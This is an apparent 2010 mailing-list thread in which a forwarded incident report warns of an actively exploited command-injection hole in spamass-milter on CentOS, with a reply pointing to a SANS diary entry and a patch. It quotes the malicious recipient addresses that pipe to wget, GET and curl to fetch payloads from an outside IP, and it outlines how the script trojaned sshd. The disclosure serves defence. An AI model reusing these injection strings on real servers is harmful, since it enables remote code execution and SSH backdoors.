On Tue, 16 Mar 2010, Keith Lofstrom wrote:

> The following may indicate a security hole.  Paul is a competent
> fellow, so I'm taking this seriously.  Perhaps somebody more
> competent than both of us has a more informed opinion.
>
Meanwhile there is more info available, see
http://isc.sans.org/diary.html?storyid=8434

There is a patch available:
http://savannah.nongnu.org/bugs/index.php?29136

-- 
Wolfgang Friebel                   Deutsches Elektronen-Synchrotron DESY
Phone/Fax:  +49 33762 77372/216    Platanenallee 6
Mail: Wolfgang.Friebel AT desy.de  D-15738 Zeuthen  Germany

>
> ----- Forwarded message from Paul Heinlein <[log in to unmask]> -----
>
> This is a heads-up that there might be an actively exploited
> vulnerability in either the spamassassin or spamass-milter package.
> I'm still unsure where the problem lies, but here's what I know.
>
> The system described below runs x86_64 release of CentOS 5.4. SELinux
> was, at the time, in Permissive mode. The packages involved, as far as
> I can tell, are
>
>  * spamassassin-3.2.5-1.el5.rf (rpmforge)
>  * spamass-milter-0.3.1-1.el5.rf (rpmforge)
>  * sendmail-8.13.8-2.el5 (centos)
>
> Mar 15 05:47 (times are PDT): Several messages arrived with suspicious
> recipients:
>
>  <root+:>
>  <root+:"|wget http://61.100.185.177/busy-1.php">
>  <root+:"|GET http://61.100.185.177/busy-2.php">
>  <root+:"|curl http://61.100.185.177/busy-3.php">
>
> Sendmail recognized the addresses as syntactically evil, but a process
> running under the spamass_milter_t context ran wget, GET, and curl and
> connected to the IP address in the addresses above.
>
> The file(s) downloaded by these processes executed a shell script. It
> did several things, the highlights of which are
>
>  1. It downloaded, uncompressed, and untar-ed a file named
>     xS.tar.gz. The resulting directory name was /xS.
>
>  2. It tried to add a unix group and user named "sshd"; the attempt
>     failed, probably because there's already an sshd user and group
>     on the system.
>
>  3. It installed 32-bit Linux executables in place of /usr/bin/ssh
>     and /usr/sbin/sshd. The new executables were dynamically linked
>     against a small number of libraries, but most of the supporting
>     libraries had been compiled directly into the applications.
>
>  4. It installed a minimal /etc/ssh/sshd_config and an empty
>     /etc/ssh/ssh_config.
>
>  5. After verifying that sshd was in the process table, it
>     removed the /xS directory.
>
>  6. It created an empty file name /dev/devno
>
>  7. It restarted sshd using /sbin/service
>
> Again, this was all done under the spamass_milter_t security context.
>
> I don't know enough about the sendmail <-> spamass-milter <-> spamd
> pipeline to have a definitive idea about what application misparsed
> the piped e-mail addresses and executed them.
>
> I saw the attack again this morning, but by then I'd cleaned things up
> and gotten SELinux back into Enforcing mode, which prevented the
> exploit from working again.
>
>